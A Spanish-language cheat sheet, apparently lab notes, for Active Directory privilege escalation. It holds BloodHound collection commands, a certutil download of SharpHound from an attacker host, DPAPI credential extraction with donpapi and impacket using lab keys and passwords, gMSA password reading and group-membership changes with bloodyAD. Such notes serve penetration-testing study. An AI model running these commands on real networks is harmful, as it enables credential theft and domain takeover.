Skip to content

#privesc #ActiveDirectory #bloodhound #dpapi #dc #bloodyad #silverticket #goldenticket

Con que tengamos acceso remoto al DC con un usuario, ya podemos tener shell en el resto de usuarios con runas

powershell
Set-Execution Policy Bypass -Scope Process

BloodHound

bash
cd /BloodHound
docker compose up

||

sudo neo4j start
./BloodHound

SharpHound

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force
upload /ruta .
Import-Module .\Sharp

BloodHound.py

bash
sudo ntpdate -u IP-DC
bloodhound-python  -d DOMAIN -ns IP -u USER -p PASS -c All --zip
bash
sudo ntpdate -u IP-DC
bloodhound-python  -d DOMAIN -dc DC.DOMAIN -ns IP -u 'USER' -p PASS -c All --zip

ns para resolver nombres

bloodhound-ce-python

bash
bloodhound-ce-python -d DOMAIN -dc DC.DOMAIN -ns IP -u 'user' -p 'pass' -c All --zip

PowerView

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force
upload /ruta .
. .\PowerView.ps1
bash
certutil -urlcache -f http://IP:PORT/SharpHound.exe SharpHound.exe

Dumpear DPAPI creds

🔐 DPAPI almacena credenciales por usuario, pero también puede incluir credenciales de otros usuarios si se han utilizado en la sesión.

Por ejemplo:

  • Si el usuario steph.cooper usó credenciales de steph.cooper_adm para acceder a recursos de red, hacer RDP o ejecutar procesos como otro usuario (runas, etc.), esas credenciales pueden quedar almacenadas en su perfil local mediante el Credential Manager.

📦 ¿Qué son los credential blobs?

Los archivos que estás dumpeando (credential.blob) provienen del almacenamiento de credenciales del usuario actual, que se encuentra en:

%APPDATA%\Microsoft\Credentials\

Ese directorio contiene archivos que pueden incluir:

  • Contraseñas usadas para acceder a recursos SMB

  • Tickets de RDP

  • Credenciales de RunAs

  • Otras entradas de red

Incluso si pertenecen a otro usuario, si fueron usadas por steph.cooper, quedan en su perfil.


📁 Ejemplo típico

Usuario steph.cooper hace esto:

powershell
runas /user:steph.cooper_adm cmd.exe

O usa RDP con steph.cooper_adm. Entonces, Windows guarda esas credenciales en el perfil de steph.cooper, en Microsoft\Credentials, cifradas con la masterkey de steph.cooper.

Tú las extraes y las descifras con la clave de steph.cooper, y obtienes... la contraseña de steph.cooper_adm.


Procedimiento :

bash
python3.11 -m venv donpapi-env
source donpapi-env/bin/activate
pip install donpapi
sudo ntpdate dc.puppy.htb

donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi collect -u USER -p 'PASS' --dc-ip IP --domain DOMAIN -t ALL -k

nxc smb IP -u DOMAIN\USER -p S --dpapi nosystem -k -d DOMAIN

Si lo dearriba no tiene nada / no funca :

bash
cd C:\users\USER\appdata\roaming\microsoft\credentials
download C4BB96844A5C9DD45D5B6A9859252BA6
cd C:\Users\USER\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
download 

python3 dpapi.py masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password PASS

python3 dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

||

bash
$path = "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407"
[Convert]::ToBase64String([IO.File]::ReadAllBytes($path)) | Out-File -Encoding ASCII 'C:\Users\steph.cooper\AppData\Local\Temp\out.txt'
download 'C:\Users\steph.cooper\AppData\Local\Temp\out.txt'
base64 -d out.txt > masterkey.blob

impacket-dpapi masterkey -file masterkey.blob -password 'ChefSteph2025!' -sid S-1-5-21-1487982659-1829050783-2281216199-1107

$path = "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9"
[Convert]::ToBase64String([IO.File]::ReadAllBytes($path)) | Out-File -Encoding ASCII 'C:\Users\steph.cooper\AppData\Local\Temp\out.txt'
download 'C:\Users\steph.cooper\AppData\Local\Temp\out.txt'
base64 -d out.txt > credential.blob

impacket-dpapi credential -file credential.blob -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

Para obtener la contraseña de una cuenta de tipo GMSA usando autenticación por kerberos

bash
python3.12 -m venv bloodyenv
source bloodyenv/bin/activate

pip install bloodyAD

bloodyAD --host DC.DOMAIN -d "DOMAIN" --dc-ip IP -k get object 'GMSA01$' --attr msDS-ManagedPassword

Para añadir un usuario a un grupo usando autenticación por kerberos

bash
python3.12 -m venv bloodyenv
source bloodyenv/bin/activate

pip install bloodyAD

bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add groupMember "SERVICEMANAGERS" "P.Rosa"

WriteOwner

Si tienes permiso WriteOwner, puedes cambiar el propietario del objeto sobre el que tienes WriteOwner a ti mismo, para así luego ponerle GenericAll por ejemplo.

<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA0EAAAF5CAIAAADWKbZnAAAgAElEQVR4Ae3dB1zUZgPH8QP33tpW q9ZV32pPRXuI6AGKggOciAousChuUXFXqqioKM4i4kJFcYt1a1vb2rrrqlo37okLB5xAXvGx8Tym gJbArx8+NpdLnku+Tw7+z5M8iUqt0fKDAAIIIIAAAgggoCwBlbI2l61FAAEEEEAAAQQQUGu0ZDi6 IRFAAAEEEEAAAeUJkOGUV2c0PhBAAAEEEEAAATIcGQ4BBBBAAAEEEFCeABlOeXVGywMBBBBAAAEE ECDDkeEQQAABBBBAAAHlCZDhlFdntDwQQAABBBBAAAEyHBkOAQQQQAABBBBQngAZTnl1RssDAQQQ QAABBBAgw5HhEEAAAQQQQAAB5QmQ4ZRXZ7Q8EEAAAQQQQAABMhwZDgEEEEAAAQQQUJ4AGU55dUbL AwEEEEAAAQQQIMOR4RBAAAEEEEAAAeUJkOGUV2e0PBBAAAEEEEAAATIcGQ4BBBBAAAEEEFCeABlO eXVGywMBBBBAAAEEECDDkeEQQAABBBBAAAHlCZDhlFdntDwQQAABBBBAAAEyHBkOAQQQQAABBBBQ ngAZTnl1RssDAQQQQAABBBAgw5HhEEAAAQQQQAAB5QmQ4ZRXZ7Q8EEAAAQQQQAABMhwZDgEEEEAA AQQQUJ4AGU55dUbLAwEEEEAAAQQQIMOR4RBAAAEEEEAAAeUJkOGUV2e0PBBAAAEEEEAAATIcGQ4B BBBAAAEEEFCeABlOeXVGywMBBBBAAAEEECDDkeEQQAABBBBAAAHlCZDhlFdntDwQQAABBBBAAAEy HBkOAQQQQAABBBBQngAZTnl1RssDAQQQQAABBBAgw5HhEEAAAQQQQAAB5QmQ4ZRXZ7Q8EEAAAQQQ QAABMhwZDgEEEEAAAQQQUJ4AGU55dUbLAwEEEEAAAQQQIMOR4RBAAAEEEEAAAeUJkOGUV2e0PBBA AAEEEEAAATIcGQ4BBBBAAAEEEFCeABlOeXVGywMBBBBAAAEEECDDkeEQQAABBBBAAAHlCZDhlFdn tDwQQAABBBBAAAEyHBkOAQQQQAABBBBQngAZTnl1RssDAQQQQAABBBAgw5HhEEAAAQQQQAAB5QmQ 4ZRXZ7Q8EEAAAQQQQAABMhwZDgEEEEAAAQQQUJ4AGU55dUbLAwEEEEAAAQQQIMOR4RBAAAEEEEAA AeUJkOGUV2e0PBBAAAEEEEAAATIcGQ4BBBBAAAEEEFCeABlOeXVGywMBBBBAAAEEECDDkeEQQAAB BBBAAAHlCZDhlFdntDwQQAABBBBAAAEyHBkOAQQQQAABBBBQngAZTnl1RssDAQQQQAABBBAgw5Hh EEAAAQQQQAAB5QmQ4ZRXZ7Q8EEAAAQQQQAABMhwZDgEEEEAAAQQQUJ4AGU55dUbLAwEEEEAAAQQQ IMOR4RBAAAEEEEAAAeUJkOGUV2e0PBBAAAEEEEAAATIcGQ4BBBBAAAEEEFCeABlOeXVGywMBBBBA AAEEECDDkeEQQAABBBBAAAHlCZDhlFdntDwQQAABBBBAAAEyHBkOAQQQQAABBBBQngAZTnl1RssD AQQQQAABBBAgw5HhEEAAAQQQQAAB5QmQ4ZRXZ7Q8EEAAAQQQQAABMhwZDgEEEEAAAQQQUJ4AGU55 dUbLAwEEEEAAAQQQIMOR4RBAAAEEEEAAAeUJkOGUV2e0PBBAAAEEEEAAATIcGQ4BBBBAAAEEEFCe ABlOeXVGywMBBBBAAAEEECDDkeEQQAABBBBAAAHlCZDhlFdntDwQQAABBBBAAAEyHBkOAQQQQAAB BBBQngAZTnl1RssDAQQQQAABBBAgw5HhEEAAAQQQQAAB5QmQ4ZRXZ7Q8EEAAAQQQQAABMhwZDgEE EEAAAQQQUJ4AGU55dUbLAwEEEEAAAQQQIMOR4RBAAAEEEEAAAeUJkOGUV2e0PBBAAAEEEEAAATIc GQ4BBBBAAAEEEFCeABlOeXVGywMBBBBAAAEEECDDkeEQQAABBBBAAAHlCZDhlFdntDwQQAABBBBA AAEyHBkOAQQQQAABBBBQngAZTnl1RssDAQQQQAABBBAgw5HhEEAAAQQQQAAB5QmQ4ZRXZ7Q8EEAA AQQQQAABMhwZDgEEEEAAAQQQUJ4AGU55dUbLAwEEEEAAAQQQIMOR4RBAAAEEEEAAAeUJkOGUV2e0 PBBAAAEEEEAAATIcGQ4BBBBAAAEEEFCeABlOeXVGywMBBBBAAAEEECDDkeEQQAABBBBAAAHlCZDh lFdntDwQQAABBBBAAAEyHBkOAQQQQAABBBBQngAZTnl1RssDAQQQQAABBBAgw5HhEEAAAQQQQAAB 5QmQ4ZRXZ7Q8EEAAAQQQQAABMhwZDgEEEEAAAQQQUJ4AGU55dUbLAwEEEEAAAQQQIMOR4RBAAAEE EEAAAeUJkOGUV2e0PBBAAAEEEEAAATIcGQ4BBBBAAAEEEFCeABlOeXVGywMBBBBAAAEEECDDkeEQ QAABBBBAAAHlCZDhlFdntDwQQAABBBBAAAEyHBkOAQQQQAABBBBQngAZTnl1RssDAQQQQAABBBAg w5HhEEAAAQQQQAAB5QmQ4ZRXZ7Q8EEAAAQQQQAABMhwZDgEEEEAAAQQQUJ4AGU55dUbLAwEEEEAA AQQQIMOR4RBAAAEEEEAAAeUJkOGUV2e0PBBAAAEEEEAAATIcGQ4BBBBAAAEEEFCeABlOeXVGywMB BBBAAAEEECDDkeEQQAABBBBAAAHlCZDhlFdntDwQQAABBBBAAAEyHBkOAQQQQAABBBBQngAZTnl1 RssDAQQQQAABBBAgw5HhEEAAAQQQQAAB5QmQ4ZRXZ7Q8EEAAAQQQQAABMhwZDgEEEEAAAQQQUJ4A GU55dUbLAwEEEEAAAQQQIMOR4RBAAAEEEEAAAeUJkOGUV2e0PBBAAAEEEEAAATIcGQ4BBBBAAAEE EFCeABlOeXVGywMBBBBAAAEEECDDkeEQQAABBBBAAAHlCZDhlFdntDwQQAABBBBAAAEyHBkOAQQQ QAABBBBQngAZTnl1RssDAQQQQAABBBAgw5HhEEAAAQQQQAAB5QmQ4ZRXZ7Q8EEAAAQQQQAABMlxa M1z1OuZVvq5T6aua/6tZl+MJAQQQQAABBBD4OAJkuPfOcNVqm5evUq34J6Xz5i+YPUdOld5/RsbG uXLnKVik2GflKlb5us7HqUI+BQEEEEAAAQSyoAAZ7j0yXMX/1chfsLBeZktmMnuOnKVKl6te2zwL HljsMgIIIIAAAgh8UAEyXIoyXNUamoJFiiUT2RJ5O0fOXJ9X+PLrbxp80IqkcAQQQAABBBDIUgJk uGQyXLXa9Up8UsbIyCiRhJbS2XnzFahQVZ2lji12FgEEEEAAAQQ+nAAZLqkM979adfMXLJJ8TMtj ZFwymypbMgsaG2f7vMKXH64uKRkBBBBAAAEEso4AGS7RDFeu8lfZc+RIIpdlK5ejwMQSxQ+VL3Wz cqmblUteq1RkU5k8LoVUuZLqtCtcrGQ1rpDTJMqedb577CkCCCCAAAJpESDDJRwmqtbQZMueVIDL 61645JVKIr0Z/FtsX/ns1XMlEf5KfPp5WuqMdRFAAAEEEEAAATJcAhmueh3z3HnzJRHC8g0rZpDb DF6WvFAx+1fv3HbEoLSyFaty8CGAAAIIIIAAAqkWIMMlkOEKFS1uELn0X+Ywz1PyRsI9cPpJrtje cqrEO/KMjI0rVzNJdbWxIgIIIIAAAghkcQEynGGGK1f5K/3EFn+6SGgZ/ayWxHQep4LxV5fn5MmX nxuOZPGvH7uPAAIIIIBAqgXIcO9kuK+/aZAnb345ZsWfMP4sexKhzeCtwiGl45egP+eLKtVTXXOs iAACCCCAAAJZWYAM906G+6JKdf2MFX86V7N8BkEtiZclzlaIX4L+nHwFCmXlg499RwABBBBAAIFU C5Dh3slw+QoU0s9Y8afzdC2URGiL/5Yqd1L3GVGpVNz4N9XHLisigAACCCCQlQXIcG8zXLXa9ZJ9 HkPuVgXiB7XE5pS8VDF+CjSYU6p0uax8/LHvCCCAAAIIIJA6ATLc2wxXtmJVg4AV/2X2ajkTS2zx 5xfd8Xn8Egzm5M1XIHU1x1oIIIAAAgggkJUFyHBvM1yhoiUMAlaCL4sfePNghvihzWBOvsFFEyzB YOb/appm5UOQfUcAAQQQQACBVAiQ4d5muKTv6ysHrzxOBQ2yWoIvS5ytYFTEWF4riYlylb9KRc2x CgIIIIAAAghkZQEy3NsMZ5wtuafWiyBmrCq8/LMEc5v+zFwtk7pHiX6k+7Rshax8CLLvCCCAAAII IJAKATLcmwxXzaSefq5Ketoov3HhoERjXMkrlfI4J3V3X4PCv65Z297Bub5181TUH6sggAACCCCA QNYUIMO9yXBVvq5jEK2SeWmkyu1QoNiesvp9byXDKhVa+Gn2qkk9KTV+sdaNm2zdvmvr9l2hm7ct WR4yfbb/KK8J7gOGOnbp0bhF29rmjbLmocleI4AAAggggEASAmS41Ga4f7NYtnI5cjbKm6tl/hzm eYzyp+gCuH9XffN/OcOJJBf/31XrNvoHLvaePN1j+Jhubn3ptEvigOYtBBBAAAEEsogAGS4151IN QlgaX7Zr7xg/tyU7J8FOuzr1rbPIgctuIoAAAgggkMUFyHBvMpxao032Br9pzGqJre7W0z3ZxJby BVavC523YMnEqX5DRox16dW/lWNnbWO7LH6Us/sIIIAAAghkPgEy3NsMlyNnrsRi1jvzjVTZa+bK 61Y4v1fxgrNLGf5ML5nPs1hux4LGn6RslKtK5Tl8ZMojWuqW3LRle1BwiN/seWPGTeozyLNjVzcb ewc67TLf95k9QgABBBDIOgJkuLcZLvl7/OY0ytujcPG/vtAfx5DYdMkblYqsL5NDk1vkv7wqVRWV qoVK5a5StVepzFQq+RkOE3ympC6ZpX0tOu2yzledPUUAAQQQyGQCZLi3Ga7MF1Xe6W9790W2ijmK /VYuscSW4PziB8pnr56rmErloVIFJPTjp1LVVKny588/aPCQtAey9CqBTrtM9iVndxBAAAEEMqUA Ge5thqta0/Td2Pb2VY7auUucqZBgUEtsZtGdZY0KGTdSqfyM3glwQcWLB+bKpR/p3FWqvCqVbbMW S5aHbPxxa3pFsXQvJ8FOuxqmFpnyi8FOIYAAAgggkMEFyHBvM5xao82br8Db4PbvlHHp7MWPp+j8 qZznSpypYFTIuJvc92ZsvKN16+u7d+siIiRJio2JiQgLOzpp0vLPPxdhzk+lKqZSlfmiilqjrWtp 07SVY8eubu4Dho4c6z15+qz5i5auXhea7pksXQrctGX70hWrZsyZ9914n76DhnXq5mbbsv03DRge +85xlcF/C7B5CCCAAAJKFCDDvfO3NsHTqYVXJvpIBjm0GUzkMMtT898AF1S8+LUdO6TX/724d+/O gQMPT5+OjY6WJOnl06c/deokYpzH68hYtYYmscPIxMyqYdNWbTt169F74OAR33n7TJszb8HykDU/ bt2RLmksfQtZsz40YGHQJN8ZQ0eOdXUf0Nqxi0UTOzrtEqtc5iOAAAIIIPC+AmS4dzLc1980MHjy fc76eQzyWbIvCy36NK9K5fc6wy3Ml+/BqVOSJN3Zvz9Uqw0wMhKJbUnRoofGjImJipIkaU/37mJm I5UqX4FC71uFao22vnVzu7adOru69xs8Ysy4SdNn+y9aGrw+dHP6xrK0l0anXSoql1UQQAABBBBI UIAM906GU2u05Sp/9e9J1Lj/F5xdKtnQZrBA9mo53f/thPtn0SJJki6vXx+YM+fq6tX/WbTo3l9/ 3fjpp719+gTmyBHaoEH0ixcvnz8P+fLLgNexr5hKVbmaSYJVlYqZptomNvYOjl169Ow3eNiYcT6+ M+ctWLJq7YYtrx/tlfZMll4lJNhpV7OuZSp2mVUQQAABBBDIIgJkOMMMp9Zo8xUo9CbGGatKnH6/ oQzFD5RX/RvggsuWjY2Ofnr9+sJ8+bbZ2UVHRoozquLfGz//HJgz558DB0qSdHr+fNEV9+oM7Kdl K3zog69mXUsr21ZtOnR16dXfY/iY8T6+s/wDl61YvWnL9vSKZWkv58etO5atWD1zbsBY78n9PIY7 de/ZtJWjqbbJh8ahfAQQQAABBBQhQIZLIMN9qf4me46459Ybf5LNoI8t2ZeFFn1a7N8Md2DECEmS DgwfvqhAgRf370uxsX96eCz95JP1Gs29w4fj3hoxIjBXLt2TJy+fPZufLVuASmWX2tOp6XW0mTdq 1qJtJ2cX934ew0d/P3HazLkLg4LXZaTTsms3bJq/aKmP70zPUV49eg9s06GrpY09nXbpdQBQDgII IICAUgTIcAlkOLVGW6V6bWPjbNlr5ko2tBkskG9wUXk0w9mgIEmSNpiZ7XJwkCTp3PLlASrVUR+f /Z6eKytXliQp/OTJAJXq2s6dkiQFly8foFIN/q8zXGIHbp361o1btG3v7OrW12PY6O8nTvXzD1wc smb95m07097llvYS6LRLrOKYjwACCCCQWQXIcAlnOLVGW6GqOlvpHCWvVTJIaUm/zDe4qN2//XBX t22TJCnkyy/FCdN9Q4YEqFRPLl++s29fgEr18unTqEePAlSqCytXSpK0XqMJUKkmvj6Jq6CjrWZd S0sb+1aOnbu59R04dJTXhCkz5wYEBYeEbt6W9mSW9hLotFPQscSmIoAAAgi8lwAZLtEMF9cb93Wd At2KFz9UvsT5iin8yduviNwPdzogQJKkzdbW2+3t40Y2bNwYoFItzJ9/QZ48a2vVkiTp3pEjASrV 7T/+kCRp6SefZOR+uPc6qsTCZla2zVp36NTNrfdAz1FeE6b6zQlcvGzN+v/+Rnd02qWiNlkFAQQQ QCCjCZDhkspwao22Wu16BQsX0x+pmuy0fD3cbz17SpJ0YsaMBblzP712LW56+vR1dersaN368fnz kiTt7dMnqESJmJcvn928KcY0/OfXw32EA9SkXkPrFm0dnFy+7TPIc5TXxKl+P8xftGLVuv/8tOy6 0M2Bi5dNnj5r2Jhx3/YZ1LZTN0vbllxp9xEOCT4CAQQQQCAVAmS4ZDKcWqP9+psGn1f4MkfOXMmm N3kBEcgWFSggxiusqFBhY716UQ8f6o9LvbByZYCxseirOzx27Mccl5qKA+UjrFLD1MKiiZ29g3PX b/sMGDrSy3vyjDnz/vPnj23etnN5yJpZ/oFeE6b0HzLC2cW9WesOphY2HwGEj0AAAQQQQCAJATJc 8hlO8FWvY/5JmfLGxtnkoJbEhHx/uH2DB0uS9PD06eCyZZd99tmRcePCNm06GxS0vWXLACOj/UOH SpIUceXKkqJFA1SqGa+fuJWO94dLouKV9VYGfP4YnXbKOoTYWgQQQCDzCZDhUprhRN1Xq21etmLV QkWKGxkbJ5Hhir0OZKJr7cKqVZIkRT18eGjMmNXVqi3InTuoePHt9vbXd++WJEn35IkYzRCgUqX6 OQ2Z77hM4R5ltOeP0WmXwopjMQQQQACBtAuQ4d4vw8ni1WubV6iqLlvpf2XKV/708y9KlS73WbmK n1f4snzlalW+rpOvQCGzf0enBhgZHRw9WjxWS/9cqiRJ948dE09oEKMZVOn6kAZ5U7PmRIZ6/liC nXa1zKyyZtWw1wgggAAC6SJAhktlhktav2oNjXG2bN3kGKdSLf3kk4OjR1/ZvPnBqVO3//zz7JIl W2xt5cenirOoZb6oknSxvJt2AVMLG9uW7R279OjVf/CI78ZPnjYrYGHQqnUb034fk/ctYfO2nStW rZszb8G4Sb4Dho7s7OrevE1HMyvbtO8jJSCAAAIIZAUBMtwHyXBqjbZyNRPjbNka6Z1UFadW4//r rlLlVamKlyqdFQ64DLuPtcysMsjzx9aHbl4YFDzVb86I78a79fVo59S9YdNWmbvTrpVj58y9gxn2 sGfDEEBA0QJkuA+V4dQabdUamtx58xVTqUbrdcjpZ7gZKpXZ66vq6IHLyN+ijPD8sczdaffn/oNt OnRVa7R27ZxC1qwXB4NdOyfrFm0z8oHBtiGAAAL/rQAZ7gNmOFG1n5atYJwtWzGVqubrx6G6q1Tt X0e3z1+ntyLFS1WtoflvDwI+PXUCGeH5Ywl22pko7Uq7DZu29Oo/WK3Rrly9/s6du6I6Dv91rGNX N7lqevUf7DnKS37JBAIIIIAAGe6DZzhxkFWoqi5VulyR4qXyFShUsHCxUqXLlfmiSjWTehyCmU/g P3/+2Jbtu1auXj83YOF4H99BnqO7ftunRdtO9ayaZlhq/8DFY8ZNMrOy/fv0mf0HD5s3bGbbsv35 CxfVGq2ljb3Y7PrWzRs2baXWaKf6zbG0bZlh94UNQwABBD6aABnuI2W4j1ajfFBGFjBv2Kx5m45O 3Xu+fkTFBN8ZcxcsWb52w6b3HQ+RuuU3bNqyaGmw74y5I8d69+o/uL2za6NmrTNCp52X9+TZ/oE+ vjMnTPELWbO+Y1e32f6BvjPm1jC1ePIk4sjR47P8A5csW9mxq9vwMeNu37nbo/fABGt5YVDwufMX z567MDdgYYILMBMBBBDITAJkODIcAv+9QG3zRv/V88cyQqede/8hq9ZtPHnqjKmFjY/vzGFjxp2/ eMnSxr6JXbsrV69pGjRWa7SH/zpm17ZTZ1f3p0+f/TB/kVqj9Z0x98TJU0eOHu87aJhao508bdbW HbtrmVnVrGu566c9Y8ZNyky/qdkXBBBAIL5A+mS4Hr0HHjvx97Nnz+/eu790xSpTbRP9T5rkO+Nl dLS2sZ0808q2lSRJx078Lc8RE5Y29i+jo/85d15/fj2rpnMDFl64dDni6dObt25v3razlWNneYGH jx4Z3HQt7rGkJ0+JBTyGjT5z9tyLyMiwK1cnTPGT1/Ic5SVJUuDiZfIceXlJkpavXKPWaMVGisKf PXt+7MTf3dz6qjVaZxd3SZLkUzy2LdtLkuTUvacooZ5V09jYWP1+gl0//3rm7Dn5g5Le4E7d3A4c OvLs2fNbt++ErFkvn/+6HHZlxpx5ciFqjXb+oqUy1OWwKwYI43181RqtPF+n052/eOn7iVP1SxDT q9eF7t13QH/+t30GSZJk3rDZrp/2GBQrXtapby0AxcvwBw93//Krjb2DfiFMp4vAf/j8sY/Zadfa scvNW7eDgkPUGm2v/oN/3vP7z3t+V2u03dz67tz9i5C8fuNmbfNGlrYtz1+8FDf6oW2no8dP1jC1 qGfV9HLYFbVGe/7CxeZtOoqFe/Qe+POe351d3AeP+E58lzk+0+WApBAEEMhQAumQ4Tp0/fbly5dz 5i1o59S9V//B5y9c3PPbXv2dPHr8ZExMjEgVYr4cj+TfuWL+5GmzJEmSo4lao23cou2FS5eXLA9p 2spRrdGaWtgMGTH20uUwOSQ1b9PR3sHZ3sH5yNHjm7ftFNPi9/WwMeOioqJmzJnXpUdvb59pTyIi 5sxbID5IRJCbt27rb6dao/1pz28GGW7oyLH2Ds4dun67LnTzk4gISxv72uaNdDpdn0GeYt2x3pMl SfKb/SZg9eg9MCYmpq7lm+dp1rW0iYyMiomJsXdwFssnscHtnLo/f/Fi6YpV7Zy6f9tn0Jmz5/b+ uV+slWyGCwoOEfsu/jVv2ExkODG/baduk6fN0ul0I8d6G+xyEhmuUbPWorSg4JCwq9fk8tUareco L51OJ+Z079nv2Im/4ydygw/iZfoK/CfPH/tAnXZmVrYxMTHiO27bsn10dHT/ISPUGu0orwmLl65Q a7S1zKxu3b7zKqg5ufTa8/sfao12it/ssCtX9x04tHP3LxFPn9YwtXj8+Iks7Ozi/se+g46dXbdu 3/Vq5vrQzetCN6s1Wu/J0728J7v3H9JnkOfY1xPyKkwggAACihNIhwwXFBxy9PhJec+dXHpJktSi bScxx8beITo6evnKNYf/OiYvIzLctes3/AMXyzPVGu2p0/9cvXZdznA1TC1O/H06fuywsXe4dDnM oLdv774DK1e/uSuB+KV/Pzx81g/z5fKHv450Fk3iugM9R3ndux/+IjLSpVd/eYH61s11Ot3Va9f1 ++GcXHqJBUzMrHQ63YChI9Ua7Ym/T8tbvnnbzqvXrstha8aceefOx12LLX5GeU24eCls75/75eXl tww2WK3R/v7HPvH3SSxj185JkqRO3eKG5iWb4Qx66UQJBmutWrdRv6bEMklkOHlTZ8yZJzo/5Dme o7yioqLkl93c+oquO3kOE/+VgImZlXXzNu2cuvfoPXDIiLHek6fPDVgYvGrt5m07U3cVXUrWCt28 bfHSFdNmzh3lNcG9/xDHzq7WLdqa1GuYcgRTizfNnhqmFkuWh4ir9OYGLPSePF2t0TZt5SgaCUNG jBU3H5k8fZY45s2sbNt06GpiZhX+4KH8cSO+G79u44+aBo1PnDxladvy5z2/Hzh0RK3R/n36jEUT u6UrVh04dKT/kBGHjhwdOnKs6PDb/cuvG3/cKnJkA+sWNetayqUxgQACCGRMgXTIcIuWBl+9dl3+ fW1iZtX12z7ySUC/2fOOHD3erHWHmJgY6+ZthILIcAuDgq9dvyG7tGzfOSYmZmFQsJzhRnlNEKdU xMUu9+6HX7h0WTTQf5i/yNtnmryuWqM1iEQiVeifwDUxs4p4+lQkQs9RXjdv3X7VRl//unUuyvH2 mXbl6rWdu39JMMPVrGsZGRk1bMw4tUa7PGTNb3v3ibXu3L03YYrfs2fPxU1Kd/3869oNm+QN2/vn /oCFQWO9J4ddvSbPFBMGG6xp0Pjly5eDPEfrL7Zk2UpxAtcgjcU/l5qSDOftM+3uvfv65as12nTJ cJ1d484vN2rW2qBwXmYcgRqmFtrGdnbtnLr06N3/dbjzmz1v8dIVGzZtSUlKS8UyW7bvClmzXnxV PYaN7ubW166dk3mjuB7iFP6YN2omfpM0sErDBmAAACAASURBVG7h3n+IWqN17Ox6/cZN9/5DGjVr ff7CxdHfT/SePF1c+nb6zFnHzq6i5L1/7u83OK4n7/Q/5wIWBrm6D9h/8HBnV/eNP25Va7S7f/m1 s6u7WqOdONVvtn+gtrHdhUuXrVu0dezsevLUmVeR8cChI0eOHpd/+aRwa1kMAQQQ+MgC6ZDhmrZy fBIRcfrM2aEjx9apb22wA2fOnpviN1ut0f5z7vxUvzniXZHhnF3co6KiuvToLWYGLl524NCRKX6z 5Qy378Chnv3i7hrVf8iIi5fCGjVrPXn6LHFypL2z647dP+t/lkEk+m68z6PHj/UXUGu0585fFP1h nqO87oeHuw8YGvH06TcN3mzzsRN/zw1Y+Muve+NnuDr1rQMXLX30+HED6xZqjXbY6O9Fo9+undOL yMja5o3u3Q8Xl8TdvHX7u/E+4nO1je1eRke3d3ZtYN3iZXS0/AdGvGuwwS3adpIkqb3zmz9CBlue LhlOjNozKDntGc6iid0f+w4eOnLUoGReKkXgIz9/LI2ddvWsmopOO0vblt9PnOo1YYp46eTS6+Kl sJA16/fuO7Bpy3aB//sf+0QP3Kp1Gw8dOSq+X6f/OSfaGwuDgr28J3tNmHI57MqS5SETp/qFhz9Q a7TXrt+w+/dMglIqke1EAIEsKJAOGU6t0dq2bL91x26dThfx9GlQcIh8ltPewVmSJHF12mz/wL9P x7Vx5eEC7Zy679z9y+p1oWLmjZu3Rn8/ccaceSLD1TC1eP78uTilcvzk3x7D4jqopvjNDl61Nu7C OG0TOeqJ1Q0i0eRps65eu25Qo4eOHF22YrU4l/rkSUTNupb37oeLG4c2a90hNja2aSvHvfsO6Gc4 nU4XFRV3QZskSaO8JogCm7ZyFPvl7TPtj30H1Rrt1h27/WbPs7SxlySpZfs3Qy7G+/hev3FTrLL/ 4OEly1bqb4/BBjs4uUiSZHCBoLz85bArL6Ojo/T+i9Yb/GHwrnzaWk5+NUwtXN0HPImI8J0xVy5T TKxeFxoTE6NXcNTLly8NTowmeC5VkiSxliRJEU+fivvsGxTOS0ULfMznj6W9005cL9u9Z7+2nbrJ 7D6+M0XP/bhJvkeOHhfz5d7obTt/6tF7oN/seTPnBrRz6t5/yIgJU/xqmFrcuXtPLoEJBBBAIMMK pE+GE7unbWw3xW/2g4eP5C4Z/8DFcm4TeU5kFNEP16mbWz+P4Y8fP6lt3qh7z37PX7wwtbCZG7BQ hLMmdu3EmdZ6Vk1jYmJEU3v+oqXizk81TC0Mzk4aRKKx3pPj98P9c+683A/3IjJSrdEGBYeIs6I/ zF8kfsUfOHREP8OJMQ1iTEBUVJQ4BaPWaO+Hh3sMH7Nj98/TZv2g1mi9JkzZ++f+PoM8nzyJkCv7 8F/H5Nzm7TNNXJQtv2uwwS3bd5YkycHJRV5Af+Jy2BWDUQur1m2UU6zBu/IQPDnbvYyOliRp2YrV NUwt9IsV51KPHD0uj1ewd3AeM25SSjKcPKZBDPi4c/eeGEhhUD4vM6XAR3v+WOjmbUuWh0yf7R93 pd2AoY5dejRu0ba2eaP3VdU0aGxlG3eL4FpmVuILHndh68lTzVp3aO/seur0P7Yt27dy7OzqPqCJ XTtxRvV9P4LlEUAAgY8skA4Z7tVIMflGG2qNtkuP3nIWCbtyVb+PR5IkMTJUZDgnl17iSuRBnqPX hW7evG2nWqP1D1wsoklrxy7ilhztnV3v3Q8XLqvWbRS3CDGzsj39z9sbdsS/Hq57z36SJIlTn2Ld mnUtnzyJEH1p8iX5Dk4uL6OjLW1bXrl6zct7slqjPXTkqH6Gk8c0qDXafQcOydfP/fLr3oVBweEP HoqzM81ad3j27Ll/4GLRLfdqe6ybt4mNjZU7z3Q6nSRJ4uI2sT0GGc5U2yQmJmbg0FH6R8Bs/0Cx AXKPmvyuwb1FErseTiQ/ByeXR48fix2USxATaT+XKv4uvoiMjD/6xOCzeJnpBerUt7axd3Ds0qNn 